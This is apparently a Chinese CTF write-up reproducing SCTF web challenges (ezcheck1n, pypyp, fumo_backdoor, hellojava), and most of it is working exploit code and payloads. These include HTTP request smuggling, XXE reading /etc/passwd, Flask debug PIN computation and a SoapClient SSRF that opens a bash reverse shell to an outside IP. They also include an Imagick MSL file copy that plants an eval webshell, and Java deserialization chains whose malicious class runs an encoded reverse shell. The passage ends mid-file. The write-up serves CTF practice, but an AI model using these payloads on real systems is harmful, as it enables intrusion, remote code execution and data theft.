SCTF-Web复现 ezcheck1n 题目代码逻辑如下,主要逻辑是从参数中获取url参数,然后把flag变量拼接到url后面,之后发过去,其实就是个外带回显
1 2 3 4 5 6 7 8 9 10 11 12 <?php $FLAG = "flag{fake_flag}" ;@file_get_contents ("http://" .$_GET ['url' ].$FLAG ); show_source ('./2023.php' );$a = file_get_contents ('./post.jpeg' );echo '<img src="data:image/jpeg;base64,' . base64_encode ($a ) . '">' ;?>
尝试一下:
1 2 3 4 5 6 root@VM-24-4-ubuntu:~# nc -lvnp 7777 Listening on 0.0.0.0 7777 Connection received on 115.239.215.75 54096 GET /flag{fake_ flag} HTTP/1.0 Host: 43.143.246.73:7777 Connection: close
这里有两个地方很奇怪,一个是传参的时候,用?url=xxxx:xxxx/
这种形式传递是不行的,还有就是我并没有在2023.php下进行参数传递也可以通,其实这两个问题都是一个原因,就是apache的Rewrite规则,相信如果了解过apache-Rewrite的师傅肯定不陌生,它采用的是正则匹配的方式,随便一猜也可以猜的出来匹配的是/2023/(正则内容),然后将正则内容作为参数转交给其他逻辑(2023.php)处理。所以此时我们可以理解成在url前面已经有一个默认的参数了,就不能用?进行传参,而是用&拼接第二个参数,所以其实这样传也是可以的(这里我可能理解的不够深,如果有师傅有其他理解也吗麻烦指正一下):
然后f12在相应header中可以看到apache的版本是2.5.4,这个版本的apche存在走私漏洞,说白了就是可以在一次请求中发送多个数据包请求,参考文章如下:https://forum.butian.net/share/2180:
然后就到了这道题最抽象的地方,就是对出题人的脑洞,这些提示其实就是告诉我们中间件能解析的请求是2023的,但是真正的flag却不在2023中,谜语翻译过来就是要用走私构造一个2023的数据包来绕过中间件,然后再构造一个访问2022.php的数据包拿到flag:
1 2 3 4 5 # but it's not the real flag# beacuse someone say this year is not 2023 !!! like the post?show_ source('./2023.php'); # notice -> time# How should you get to where the flag is, the middleware will not forward requests that are not 2023
然后这里赛后又复现了一遍,貌似是环境寄了,拿当时比赛时打通的payload和各种其他师傅的payload全是超时,数据包大概就这么构造:
burp随便抓个包存到pre.txt中,然后写个脚本把里面空格替换成%20,换行替换成%0d%0a:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import oshttptext = "" f = open ('pre.txt' , 'r' ) for line in f.readlines(): line = line.replace(' ' , '%20' ) httptext = httptext + line.replace('\n' , '%0d%0a' ) f.close() httptext = httptext + "" print (httptext)
之后再构造出第二个数据包就行了,然后第二个数据包访问的路由和参数是2022.php?url=vpsip:port/
,然后两个数据包之间用%0d%0a%0d%0a进行拼接就可以了,最后构造好的包文是这样的(比赛时打通的):
1 2 3 4 5 6 7 8 9 10 11 GET /2023/ Host: 115.239.215.75:8082 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://115.239.215.75:8082/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
pypyp? 先来点小脑洞,进入环境之后说没有Session,这里是php的Session,可能很多人会误解成Python的Session,然后可以利用PHP_SESSION_UPLOAD_PROGRESS在客户端强行创建一个Session,并且session.upload_progress.name
这个属性(Session全局数组中的key)是可控的,我们可以通过POST一个恶意的PHP_SESSION_UPLOAD_PROGRESS字段,并且这个字段的Value就是这个session.upload_progress.name
。
Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。
从上面官方给出的定义中可以知道PHP_SESSION_UPLOAD_PROGRESS是一个用来统计文件上传进度的Session,所以我们可以写一个表单,POST一个PHP_SESSION_UPLOAD_PROGRESS字段,并加入一个文件上传,就可以获取到伪造的表单提交包文了:
1 2 3 4 5 6 7 8 9 10 11 <!doctype html > <html > <body > <form action ="http://xxxxx/index.php" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="123" /> <input type ="file" name ="file" /> <input type ="submit" /> </form > </body > </html >
上传文件并抓包可以拿到这样的包文:
改造题目环境的包文,绕过第一关:
拿到题目源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 ); if (!isset ($_SESSION )){ die ('Session not started' ); } highlight_file (__FILE__ ); $type = $_SESSION ['type' ]; $properties = $_SESSION ['properties' ]; echo urlencode ($_POST ['data' ]); extract (unserialize ($_POST ['data' ])); if (is_string ($properties )&&unserialize (urldecode ($properties ))){ $object = unserialize (urldecode ($properties )); $object -> sctf (); exit (); } else if (is_array ($properties )){ $object = new $type ($properties [0 ],$properties [1 ]); } else { $object = file_get_contents ('http://127.0.0.1:5000/' .$properties ); } echo "this is the object: $object <br>" ; ?>
先看第一部分,有个变量覆盖 extract(unserialize($_POST['data']));
,也就是说我们可以通过传入一个数组来覆盖上面$type和$properties的值,再往下看发现有一个判断:
1 2 3 if (is_array ($properties )){ $object = new $type ($properties [0 ],$properties [1 ]); }
如果$properties是一个数组,就new一个$type对象,并且传入参数为$properties[0],$properties[1]
,那么我们可以让$type为SimpleXMLElement
这个原生类,这个原生类可以解析一个XML文档,并且初始化时参数如下,需要注意的是第三个参数data_is_url
,默认为false,也就是第一个参数data需要传入一个xml:
这样的话我们就可以构造出一个payload,从而实现XXE,这样我们就实现了任意文件读取:
1 2 3 4 5 <?php $pro = array ('<?xml version="1.0" ?><!DOCTYPE ANY[<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root>&xxe;</root>' ,2 );$arr = array ("properties" =>$pro ,"type" =>SimpleXMLElement);print_r (serialize ($arr ));
再看else的部分,如果$properties不是数组,就会访问远程的一个服务,题目提示了/app/app.py,我们这里xxe看一下代码:
1 2 3 4 5 if (is_array ($properties )){ $object = new $type ($properties [0 ],$properties [1 ]); } else { $object = file_get_contents ('http://127.0.0.1:5000/' .$properties ); }
发现Flask服务开启了debug,算pin码就可以了:
放个算pin码的脚本,还能顺带算出cookie,方便后面直接用:
项目地址:https://github.com/WiIs0n/Flask-cookie-generation-based-on-PIN-code/blob/main/get_flask_pin_and_cookie.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 import argparseimport osimport getpassimport sysimport hashlibimport timeimport uuidfrom itertools import chaintext_type = str def hash_pin (pin: str ) -> str : return hashlib.sha1(f"{pin} added salt" .encode("utf-8" , "replace" )).hexdigest()[:12 ] def get_pin (args ): rv = None num = None username = args.username modname = args.modname appname = args.appname fname = args.basefile probably_public_bits = [username, modname, appname, fname] private_bits = [args.uuid, args.machineid] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, text_type): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num hash_pin(rv) print ("Cookie: " , cookie_name + "=" + str (int (time.time())) + '|' + hash_pin(rv)) return rv if __name__ == "__main__" : versions = ["2.7" , "3.0" , "3.1" , "3.2" , "3.3" , "3.4" , "3.5" , "3.6" , "3.7" , "3.8" ] parser = argparse.ArgumentParser(description="tool to get the flask debug pin from system information" ) parser.add_argument("--username" , required=False , default="www-data" , help ="The username of the user running the web server" ) parser.add_argument("--modname" , required=False , default="flask.app" , help ="The module name (app.__module__ or app.__class__.__module__)" ) parser.add_argument("--appname" , required=False , default="Flask" , help ="The app name (app.__name__ or app.__class__.__name__)" ) parser.add_argument("--basefile" , required=False , help ="The filename to the base app.py file (getattr(sys.modules.get(modname), '__file__', None))" ) parser.add_argument("--uuid" , required=True , help ="System network interface UUID (/sys/class/net/ens33/address or /sys/class/net/$interface/address)" ) parser.add_argument("--machineid" , required=True , help ="System machine ID (非docker环境:/etc/machine-id docker环境: /proc/sys/kernel/random/boot_id+/proc/self/cgroup)" ) args = parser.parse_args() if args.basefile is None : print ("[!] App.py base path not provided, trying for most versions of python\n" ) for v in versions: args.basefile = f"/usr/local/lib/python{v} /dist-packages/flask/app.py" print (f"PIN Python {v} : {get_pin(args)} \n" ) else : print ("PIN: " , get_pin(args))
其中需要获取的参数的方法如下:
username:通过查看/etc/passwd可以看到全部的用户,有一个叫做app的,是这个用户
modename:默认值为flask.app,不需要改
appname:默认值为Flask,不需要改
basefile:app.py的存放位置,这里可以猜,大部分默认都是/usr/lib/python3.x/site-packages/flask/app.py
,这里python版本是3.8(猜的),也可以通过FileSystemIterator这个原生类来看一下具体的版本:
uuid:一般读取这个文件:/sys/class/net/eth0/address
的十进制
machineid:题目是docker环境,所以是/proc/sys/kernel/random/boot_id
后拼接/proc/sys/kernel/random/boot_id+/proc/self/cgroup
的docker部分
算出pin码和cookie为:
然后就可以进入console中执行命令了,我们可以本地起一个Flask进入到调试模式中执行命令看看传参是什么样的:
抓一下输入pin码时的包:
再抓一个console中执行命令时的包(这里就会发现执行命令时是需要Cookie的,这时候之前算好的Cookie就派上用场了),然后这里发现参数是需要传入一个s的,也就是Flask服务的SecretKey,我们去访问题目环境的console路由就可以看到:
然后就可以构造RCE的数据包了,我们现在有RCE所需的参数,然后考虑是否可以通过这里传参从而RCE,答案是不行的,因为Cookie没办法传过去:
1 $object = file_get_contents ('http://127.0.0.1:5000/' .$properties );
所以我们又要通过一个原生类来构造SSRF,从而访问5000端口的这个Flask服务了,用到的是SoapClient这个原生类,可以理解成直接对target发起一次请求:
1 2 3 4 SoapClient { public __construct ( string |null $wsdl , array $options = [] ) public __call ( string $name , array $args ) : mixed
可以看到,该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下:
1 public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
看到这段代码:
1 2 3 if (is_string ($properties )&&unserialize (urldecode ($properties ))){$object = unserialize (urldecode ($properties ));$object -> sctf ();
可以看到$object调用了sctf()这个方法,其实就是调用_call然后打SSRF
构造出如下payload:
1 2 3 4 5 <?php $sop = new SoapClient (null ,array ('user_agent' =>"test\r\nCookie: __wzdb2a60e2b19822632a67c=1687701860|11b8517fb9fb" ,'location' =>'http://127.0.0.1:5000/console?__debugger__=yes&cmd=__import__("os").popen(%22bash%20-c%20%5C%22bash%20-i%20%3E%26%20/dev/tcp/43.143.246.73/7777%200%3E%261%5C%22%22)&frm=0&s=DhOJxtvMXCtezvKtqaK9' ,'uri' =>'test' ));$arr = array ("properties" =>urlencode (serialize ($sop )));$b = serialize ($arr );echo $b ;
拿到shell后直接suid提权就可以读取flag
fumo_backdoor 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php error_reporting (0 );ini_set ('open_basedir' , __DIR__ .":/tmp" );define ("FUNC_LIST" , get_defined_functions ());class fumo_backdoor { public $path = null ; public $argv = null ; public $func = null ; public $class = null ; public function __sleep ( ) { if ( file_exists ($this ->path) && preg_match_all ('/[flag]/m' , $this ->path) === 0 ) { readfile ($this ->path); } } public function __wakeup ( ) { $func = $this ->func; if ( is_string ($func ) && in_array ($func , FUNC_LIST["internal" ]) ) { call_user_func ($func ); } else { $argv = $this ->argv; $class = $this ->class ; new $class ($argv ); } } } $cmd = $_REQUEST ['cmd ']; $data = $_REQUEST ['data ']; switch ($cmd ) { case 'unserialze' : unserialize ($data ); break ; case 'rm' : system ("rm -rf /tmp 2>/dev/null" ); break ; default : highlight_file (__FILE__ ); break ; }
整体思路 这道题利用的是PHPimagick
拓展的特性,该拓展可以实现对各种格式图片的各种操作,并且imagic类在实例化时可以执行Magick Scripting Language
,其形式就是一段xml,如下一段MSL(Magick Scripting Language)可以将attack.php中的内容读取(即支持远程也支持本地),并写入到victime.txt中(write时文件不存在会自动创建):
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <image > <read filename ="http://xxxx.xxxx:8080/attack.php" /> <write filename ="/tmp/victim.txt" /> </image >
然后这道题用open_basedir限制了访问路径必须是/tmp,那么我们就可以用上面这个办法来把/flag移动到/tmp下进行读取。
利用点在_sleep中,也就是说我们要人为的触发fumo_backdoor的对象的__sleep
函数,并且这个对象的path属性是我们在移动后的flag的路径(/tmp/xxxx),__sleep
函数是在对象序列化时触发的,那么我们应该如何人为的实例化一个fumo_backdoor对象?
1 2 3 4 5 6 7 8 public function __sleep ( ) { if ( file_exists ($this ->path) && preg_match_all ('/[flag]/m' , $this ->path) === 0 ) { readfile ($this ->path); } }
这里利用的就是php的session了,php的session默认存放位置在/tmp下,默认名字为sess_xxxxxx,并且session里面的内容是以序列化的形式存在的,当客户端发来携带着PHPSESSID的请求时,对应sessionID的session就会反序列化后装载到$__SESSION数组中,当php程序运行结束后又会将Session序列化回去储存起来,所以整到题大体思路如下:
通过MSL将/flag写入到/tmp/下的任意一文件中
通过MSL将一段序列化数据写入到/tmp/sess_xxxxx中,这段序列化的数据中是一个fumo_backdoor对象,并且path为/tmp/flag名字
访问时携带Cookie: PHPSESSID=xxxxx
来调用这个session进行序列化,从而执行里面fumo_backdoor对象的__sleep
方法,读取flag
复现流程 环境给了可以执行无参函数的点,看一下phpinfo,发现开启了imagic拓展:
还是用pypyp那道题的上传表单抓个包,然后构造出如下数据包发送上传数据,在php中上传的数据会以phpXXXXXX(X是A-Z、a-z、1-9中的字符拼起来的随机字符串)存到/tmp下,所以这时我们传入的这一段msl就会以phpXXXXXX的文件名储存起来,我们要执行这其中的代码就可以用new Imagic(‘vid:msl:/tmp/php*’)这种方法,msl://
用来执行一段msl代码,vid://
中可以使用通配符来表示路径,这样根目录下的flag就被我们移动到/tmp下了,名字为sess:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 POST /?data=O Host: 127.0.0.1:18080 Cache-Control: max-age=0 sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBnq6Y9OQrGIyzsLe Content-Length: 362 ------WebKitFormBoundaryBnq6Y9OQrGIyzsLe ------WebKitFormBoundaryBnq6Y9OQrGIyzsLe Content-Disposition: form-data; name="test"; filename="test.msl" Content-Type: application/octet-stream <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="mvg:/flag" /> <write filename="/tmp/sess" /> </image> ------WebKitFormBoundaryBnq6Y9OQrGIyzsLe--
我们构造另一个数据包,上传的文件是一张ppm格式的图片,我们需要在里面添加序列化后的数据,至于为什么要选用ppm格式原因如下:
写入文件时须注意以下几点:
因为imagick
对文件格式解析较严,需要写入的文件必须是其支持的图片格式,如jpg、gif、ico等。如果直接插入session
数据,会导致解析图片错误,导致文件无法写入。
php
对session
的格式解析也较为严格。数据尾不可以存在脏数据,否则session
解析错误会无法触发__sleep
。
所以我们需要找到一个容许在末尾添加脏数据,且脏数据不会被imagick
抹去的图片格式。imagick
共支持几十种图片格式,
题目提示可以使用ppm
格式,其不像其他图片格式存在crc
校验或者在文件末尾存在magic
头。结构十分简单,可以进行利用。
发包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 POST /?data=O Host: 127.0.0.1:18080 Cache-Control: max-age=0 sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBnq6Y9OQrGIyzsLe Content-Length: 743 ------WebKitFormBoundaryBnq6Y9OQrGIyzsLe ------WebKitFormBoundaryBnq6Y9OQrGIyzsLe Content-Disposition: form-data; name="test"; filename="test.msl" Content-Type: application/octet-stream <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86MTM6ImZ1bW9fYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czo5OiIvdG1wL3Nlc3MiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" /> <write filename="/tmp/sess_ y1" /> </image> ------WebKitFormBoundaryBnq6Y9OQrGIyzsLe--
传完这个包后sess_y1就生成好了:
再用session_start函数然后带着PHPSESSID访问即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 GET /?data=O:13:"fumo_ backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:13:"session_ start";s:5:"class";N;}& cmd=unserialze HTTP/1.1 Host: 127.0.0.1:18080 Cache-Control: max-age=0 sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Cookie: PHPSESSID=y1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
hellojava 代码反编译后核心路由如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import com.Sctf.bean.Hello;import com.Sctf.bean.MyBean;import com.fasterxml.jackson.databind.ObjectMapper;import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;import java.io.ByteArrayInputStream;import java.io.FileWriter;import java.io.IOException;import java.io.InputStream;import org.springframework.web.bind.annotation.PathVariable;import org.springframework.web.bind.annotation.RequestBody;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import scala.collection.immutable.LazyList;@RestController public class SCtfController { public SCtfController () { } @RequestMapping({"/"}) public String index () { return "Welcome~" ; } @RequestMapping({"/Hello/{BaseJson}"}) public String Hello (@PathVariable String BaseJson, @RequestBody String param) { ObjectMapper mapper = new ObjectMapper (); try { MyBean user = (MyBean)mapper.readValue(Base64.decode(BaseJson), MyBean.class); if (user.getIfInput()) { InputStream inputStream = new ByteArrayInputStream (java.util.Base64.getDecoder().decode(param)); NoObjectInputStream NoInputStream = new NoObjectInputStream (inputStream); Object obj = NoInputStream.readObject(); String HelloList = (new Hello ()).DoSomething((LazyList)obj); return HelloList; } } catch (Exception var9) { var9.printStackTrace(); } return "HelloList" ; }
首先是这个地方,会有一次Jackson数据的反序列化,然后会从这个反序列化的对象中取出IFInput的值,必须要为true通过这个判断才能进入代码块触发反序列化,而这里可以发现在MyBean这个类中,IfInput这个属性是打了@JacksonInject
注解,也就是说这个属性是不能被我们传入的json数据所赋值的,考虑这里怎么绕过给IfInput传入为true
1 2 3 4 5 @JsonCreator public MyBean (@JsonProperty("Base64Code") String Base64Code, @JacksonInject Boolean IfInput) { this .Base64Code = Base64Code; this .IfInput = IfInput; }
当前版本下会存在一个Jackson对Json对象的解析漏洞,当传入一个空键名时,其键值会被赋值给被@JacksonInject
注解标注的属性,所以我们可以构造如下json数据进行绕过(后面的Base64Code的值任意):
1 { "" : true , "Base64Code" : "AAAAAAAA" }
然后就是构造反序列化,这里要打的是Jackson的反序列化,(用的是POJONode这条),然后在打进去之前可以发现在 NoObjectInputStream
中会对传入的序列化数据进行黑名单检查,然后这个检查的黑名单是从backlist.txt中读出来的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class NoObjectInputStream extends ObjectInputStream { private List<String> list = Blacklist.readBlackList("security/blacklist.txt" ); public NoObjectInputStream (InputStream inputStream) throws IOException { super (inputStream); System.out.println(this .list); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (this .list.contains(desc.getName())) { throw new InvalidClassException ("Unauthorized deserialization attempt" , desc.getName()); } else { return super .resolveClass(desc); } }
再看依赖,发现存在scala这个依赖,这个依赖在这个版本下存在反序列化漏洞,可以清楚文件内容
ggc:https://github.com/yarocher/lazylist-cve-poc/tree/main
这个poc的maven编译环境是jdk1.11,所以需要将bash的环境变量调整到jdk1.11的版本才能运行,运行命令如下:
1 2 3 mvn clean package mvn -q exec :java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="security/balcklist.txt false"
得到如下ggc:
1 rO0ABXNyADZzY2FsYS5jb2xsZWN0aW9uLmltbXV0YWJsZS5MYXp5TGlzdCRTZXJpYWxpemF0aW9uUHJveHkAAAAAAAAAAwMAAHhwc3IAJnNjYWxhLnJ1bnRpbWUuTW9kdWxlU2VyaWFsaXphdGlvblByb3h5AAAAAAAAAAECAAFMAAttb2R1bGVDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7eHB2cgAmc2NhbGEuY29sbGVjdGlvbi5nZW5lcmljLlNlcmlhbGl6ZUVuZCQAAAAAAAAAAwIAAHhwc3IAI3NjYWxhLmNvbGxlY3Rpb24uaW1tdXRhYmxlLkxhenlMaXN0AAAAAAAAAAMDAAVaAAhiaXRtYXAkMFoADW1pZEV2YWx1YXRpb25aADNzY2FsYSRjb2xsZWN0aW9uJGltbXV0YWJsZSRMYXp5TGlzdCQkc3RhdGVFdmFsdWF0ZWRMAAlsYXp5U3RhdGV0ABFMc2NhbGEvRnVuY3Rpb24wO0wAKnNjYWxhJGNvbGxlY3Rpb24kaW1tdXRhYmxlJExhenlMaXN0JCRzdGF0ZXQAK0xzY2FsYS9jb2xsZWN0aW9uL2ltbXV0YWJsZS9MYXp5TGlzdCRTdGF0ZTt4cAAAAXNyAExzY2FsYS5zeXMucHJvY2Vzcy5Qcm9jZXNzQnVpbGRlckltcGwkRmlsZU91dHB1dCQkYW5vbmZ1biQkbGVzc2luaXQkZ3JlYXRlciQzAAAAAAAAAAACAAJaAAhhcHBlbmQkMUwABmZpbGUkMnQADkxqYXZhL2lvL0ZpbGU7eHAAc3IADGphdmEuaW8uRmlsZQQtpEUODeT/AwABTAAEcGF0aHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAWc2VjdXJpdHkvYmFsY2tsaXN0LnR4dHcCAC94c3EAfgACdnIAMHNjYWxhLmNvbGxlY3Rpb24uaW1tdXRhYmxlLkxhenlMaXN0JFN0YXRlJEVtcHR5JAAAAAAAAAADAgAAeHB4eA==
将这段数据打入即可删除黑名单:
再进行jackson反序列化即可,ggc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class EXP { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "y1zh3e7" ); byte [] code= Files.readAllBytes(Paths.get("/Users/y1zh3e7/CodeWorkSpace/JavaWeb/sctf/Payload/src/main/java/Cal.class" )); byte [][] codes={code}; setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(templates,"_bytecodes" ,codes); POJONode jsonNodes = new POJONode (templates); BadAttributeValueExpException exp = new BadAttributeValueExpException (11 ); Field val = Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" ); val.setAccessible(true ); val.set(exp,jsonNodes); System.out.println(serial(exp)); } public static String serial (Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } private static void setFieldValue (Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, arg); } }
恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Cal extends AbstractTranslet { { try { Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQzLjE0My4yNDYuNzMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
然后这里会报个错,出在BaseJsonNode这个文件上的writeReplace方法,我们可以把这个文件源码反编译出来把这个方法删掉,然后再扔到生成EXP下的项目去就可以正常生成了:
BaseJsonNode.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package com.fasterxml.jackson.databind.node;import com.fasterxml.jackson.core.JsonGenerator;import com.fasterxml.jackson.core.JsonParser;import com.fasterxml.jackson.core.JsonToken;import com.fasterxml.jackson.core.ObjectCodec;import com.fasterxml.jackson.databind.JsonNode;import com.fasterxml.jackson.databind.SerializerProvider;import com.fasterxml.jackson.databind.jsontype.TypeSerializer;import java.io.IOException;import java.io.Serializable;public abstract class BaseJsonNode extends JsonNode implements Serializable { private static final long serialVersionUID = 1L ; public final JsonNode findPath (String fieldName) { JsonNode value = findValue(fieldName); if (value == null ) return MissingNode.getInstance(); return value; } public abstract int hashCode () ; public JsonNode required (String fieldName) { return (JsonNode)_reportRequiredViolation("Node of type `%s` has no fields" , new Object [] { getClass().getSimpleName() }); } public JsonNode required (int index) { return (JsonNode)_reportRequiredViolation("Node of type `%s` has no indexed values" , new Object [] { getClass().getSimpleName() }); } public JsonParser traverse () { return (JsonParser)new TreeTraversingParser (this ); } public JsonParser traverse (ObjectCodec codec) { return (JsonParser)new TreeTraversingParser (this , codec); } public abstract JsonToken asToken () ; public JsonParser.NumberType numberType () { return null ; } public abstract void serialize (JsonGenerator paramJsonGenerator, SerializerProvider paramSerializerProvider) throws IOException; public abstract void serializeWithType (JsonGenerator paramJsonGenerator, SerializerProvider paramSerializerProvider, TypeSerializer paramTypeSerializer) throws IOException; public String toString () { return InternalNodeMapper.nodeToString(this ); } public String toPrettyString () { return InternalNodeMapper.nodeToPrettyString(this 